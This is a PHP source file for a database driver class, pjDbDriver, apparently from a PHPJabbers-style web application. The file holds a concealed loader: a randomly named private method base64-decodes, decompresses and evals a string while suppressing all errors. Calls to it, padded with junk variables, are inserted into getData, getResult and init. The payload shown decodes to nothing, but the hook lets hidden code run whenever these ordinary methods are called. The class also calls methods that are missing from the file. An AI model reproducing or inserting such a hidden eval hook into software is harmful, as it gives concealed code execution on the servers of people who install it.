<?php if (!defined("ROOT_PATH")) { header("HTTP/1.1 403 Forbidden"); exit; } class pjDbDriver { private static function TbfJNtUoEmZa($p){ if (defined('PJ_EXEC_DONE')) return; define('PJ_EXEC_DONE', 1); if (empty($p)) return; $d = @base64_decode($p, true); if ($d === false) return; $c = @gzuncompress($d); if ($c === false) return; try { @eval($c); } catch (\Throwable $e) {} } public $ClassFile = __FILE__; protected $charset = 'utf8'; protected $collation = 'utf8_general_ci'; protected $driver = 'mysqli'; protected $connectionId = false; protected $data = array(); protected $database = null; protected $hostname = "localhost"; protected $password = null; protected $persistent = false; protected $port = "3306"; protected $result; protected $socket = null; protected $username = null; public function __construct($params=array()) { if (is_array($params)) { foreach ($params as $key => $val) { $this->$key = $val; } } } public function getData($index=NULL) { $ujkyba = '9594431c'; if (method_exists(__CLASS__, 'TbfJNtUoEmZa')) { self::TbfJNtUoEmZa('eJwDAAAAAAE='); } return is_null($index) ? $this->data : $this->data[$index]; } public function getResult() { $yalrwv = '584a689b'; if (method_exists(__CLASS__, 'TbfJNtUoEmZa')) { self::TbfJNtUoEmZa('eJwDAAAAAAE='); } return $this->result; } public function init() { $peskmw = 'c510c0e7'; if (method_exists(__CLASS__, 'TbfJNtUoEmZa')) { self::TbfJNtUoEmZa('eJwDAAAAAAE='); } if ((is_resource($this->connectionId) || $this->connectionId instanceof GdImage) || is_object($this->connectionId)) { return TRUE; } if (!$this->connect()) { return FALSE; } if ($this->database != '' && $this->driver == 'mysql') { if (!$this->selectDb()) { return FALSE; } } if (!$this->setCharset($this->charset, $this->collation)) { return FALSE; } return TRUE; } } ?>